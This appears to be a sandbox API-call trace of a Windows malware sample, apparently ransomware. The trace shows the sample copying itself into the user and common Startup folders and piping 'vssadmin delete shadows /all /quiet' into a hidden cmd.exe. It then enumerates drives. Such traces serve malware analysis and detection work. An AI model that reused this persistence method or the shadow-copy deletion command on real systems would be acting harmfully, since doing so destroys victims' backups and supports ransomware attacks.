[0036.410] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0036.411] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x60d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0036.411] RegCloseKey (hKey=0xe4) returned 0x0 [0036.411] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d7cb8 | out: hHeap=0x5a0000) returned 1 [0036.411] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0036.411] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.411] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d7bb0 | out: hHeap=0x5a0000) returned 1 [0036.411] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe", lpDst=0x5fd438, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe") returned 0x67 [0036.411] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60d440 | out: hHeap=0x5a0000) returned 1 [0036.411] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fd438 | out: hHeap=0x5a0000) returned 1 [0036.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x2190020 [0036.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.411] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5d5930 [0036.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5d58e0 [0036.412] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.412] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.412] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0036.412] lstrlenW (lpString="kernel32.dll") returned 12 [0036.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5930 | out: hHeap=0x5a0000) returned 1 [0036.412] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d58e0 | out: hHeap=0x5a0000) returned 1 [0036.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3G6885.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3g6885.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0036.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0036.416] ReadFile (in: hFile=0xe4, lpBuffer=0x2190020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2190020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.429] WriteFile (in: hFile=0xe8, lpBuffer=0x2190020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2190020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.431] ReadFile (in: hFile=0xe4, lpBuffer=0x2190020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2190020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0036.431] CloseHandle (hObject=0xe8) returned 1 [0036.433] CloseHandle (hObject=0xe4) returned 1 [0036.433] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.433] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5d58e0 [0036.433] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.433] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5d5930 [0036.433] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.433] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.433] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0036.433] lstrlenW (lpString="kernel32.dll") returned 12 [0036.433] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5930 | out: hHeap=0x5a0000) returned 1 [0036.433] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.433] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d58e0 | out: hHeap=0x5a0000) returned 1 [0036.433] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x2190020 | out: hHeap=0x5a0000) returned 1 [0036.439] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5fd438 [0036.439] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x60d440 [0036.439] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.439] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5d58e0 [0036.439] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d58e0, Size=0x40) returned 0x5d6a38 [0036.439] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6a38, Size=0x80) returned 0x5fb450 [0036.439] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb450, Size=0x100) returned 0x5d7bb0 [0036.439] lstrlenW (lpString="") returned 0 [0036.439] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.439] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8c) returned 0x5d7cb8 [0036.439] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0036.440] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x60d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0036.440] RegCloseKey (hKey=0xe4) returned 0x0 [0036.440] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d7cb8 | out: hHeap=0x5a0000) returned 1 [0036.440] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0036.440] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.440] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d7bb0 | out: hHeap=0x5a0000) returned 1 [0036.440] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe", lpDst=0x5fd438, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe") returned 0x48 [0036.440] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60d440 | out: hHeap=0x5a0000) returned 1 [0036.440] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fd438 | out: hHeap=0x5a0000) returned 1 [0036.440] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x2190020 [0036.440] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.440] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5d58e0 [0036.440] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.440] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5d5930 [0036.440] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.440] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.440] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0036.440] lstrlenW (lpString="kernel32.dll") returned 12 [0036.440] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d58e0 | out: hHeap=0x5a0000) returned 1 [0036.440] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.440] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5930 | out: hHeap=0x5a0000) returned 1 [0036.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3G6885.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3g6885.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0036.441] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0036.445] ReadFile (in: hFile=0xe4, lpBuffer=0x2190020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2190020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.458] WriteFile (in: hFile=0xe8, lpBuffer=0x2190020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2190020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.460] ReadFile (in: hFile=0xe4, lpBuffer=0x2190020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2190020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0036.460] CloseHandle (hObject=0xe8) returned 1 [0036.461] CloseHandle (hObject=0xe4) returned 1 [0036.462] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.462] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5d5930 [0036.462] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.462] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5d58e0 [0036.462] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.462] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.462] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0036.462] lstrlenW (lpString="kernel32.dll") returned 12 [0036.462] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d58e0 | out: hHeap=0x5a0000) returned 1 [0036.462] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.462] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5930 | out: hHeap=0x5a0000) returned 1 [0036.462] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x2190020 | out: hHeap=0x5a0000) returned 1 [0036.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5db428 | out: hHeap=0x5a0000) returned 1 [0036.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5eb430 | out: hHeap=0x5a0000) returned 1 [0036.468] lstrlenW (lpString="%windir%\\System32") returned 17 [0036.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d69a8 | out: hHeap=0x5a0000) returned 1 [0036.468] lstrlenW (lpString="%appdata%") returned 9 [0036.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b4398 | out: hHeap=0x5a0000) returned 1 [0036.468] lstrlenW (lpString="%sh(Startup)%") returned 13 [0036.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b4370 | out: hHeap=0x5a0000) returned 1 [0036.469] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0036.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d69f0 | out: hHeap=0x5a0000) returned 1 [0036.469] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.469] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5b4370 [0036.469] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4370, Size=0x40) returned 0x5d69f0 [0036.469] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d69f0, Size=0x80) returned 0x5fb450 [0036.469] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.469] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5b4370 [0036.469] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1fffc) returned 0x5db428 [0036.469] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5fd438 [0036.469] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x60d440 [0036.469] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a30 [0036.469] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a30, Size=0x20) returned 0x5b4398 [0036.469] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4398, Size=0x40) returned 0x5d69f0 [0036.469] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d69f0, Size=0x80) returned 0x5fb4d8 [0036.469] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb4d8, Size=0x100) returned 0x5d7bb0 [0036.469] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d7bb0 | out: hHeap=0x5a0000) returned 1 [0036.469] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x5fd438, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0036.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60d440 | out: hHeap=0x5a0000) returned 1 [0036.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fd438 | out: hHeap=0x5a0000) returned 1 [0036.469] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0036.470] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0036.470] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0036.470] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0036.471] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x9b4, dwThreadId=0x9b8)) returned 1 [0036.495] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0036.495] WriteFile (in: hFile=0xec, lpBuffer=0x5fb450*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x5fb450*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0036.495] CloseHandle (hObject=0xfc) returned 1 [0036.495] CloseHandle (hObject=0xf8) returned 1 [0036.495] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5db428 | out: hHeap=0x5a0000) returned 1 [0036.495] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0036.495] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb450 | out: hHeap=0x5a0000) returned 1 [0036.495] lstrlenW (lpString="%comspec%") returned 9 [0036.495] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b4370 | out: hHeap=0x5a0000) returned 1 [0036.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0036.496] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d4a30 [0036.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5d4a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0036.497] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b47a8 [0036.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5b47a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a48 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a48, Size=0x20) returned 0x5b4370 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4370, Size=0x40) returned 0x5d69f0 [0036.498] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xd0) returned 0x5d7c28 [0036.498] GetLogicalDrives () returned 0x4 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10014) returned 0x5db428 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a48 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a48, Size=0x20) returned 0x5b4370 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4370, Size=0x40) returned 0x5d6a80 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6a80, Size=0x80) returned 0x5fb450 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb450, Size=0x100) returned 0x5d9198 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d9198, Size=0x200) returned 0x5d9198 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d9198, Size=0x400) returned 0x5d9198 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d9198, Size=0x800) returned 0x5d97b0 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d97b0, Size=0x1000) returned 0x5eb448 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x5fd438 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a48 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d4b20 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b4750 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d4b38 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b4760 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4b50 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4760, Size=0x8) returned 0x5b4760 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4b68 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4760, Size=0x10) returned 0x5b4718 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4b80 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4b98 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4718, Size=0x20) returned 0x5d7ab0 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4bb0 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4760 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5d4bc8 [0036.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5d4be0 [0036.498] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d7ab0, Size=0x40) returned 0x5d52d8 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5d4bf8 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5d4c10 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5d4c28 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5d4c40 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4c58 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4c70 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5d5320 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4c88 [0036.499] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d52d8, Size=0x80) returned 0x5d9198 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4ca0 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4cb8 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4cd0 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4ce8 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d97c8 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d97e0 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d97f8 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4718 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9810 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9828 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9840 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9858 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9870 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9888 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d98a0 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d98b8 [0036.499] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d9198, Size=0x100) returned 0x5d9198 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d98d0 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d98e8 [0036.499] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9900 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d9918 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9930 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9948 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4728 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9960 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9978 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9990 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5d7ab0 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d99a8 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d99c0 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5d7ac0 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d99d8 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d99f0 [0036.500] 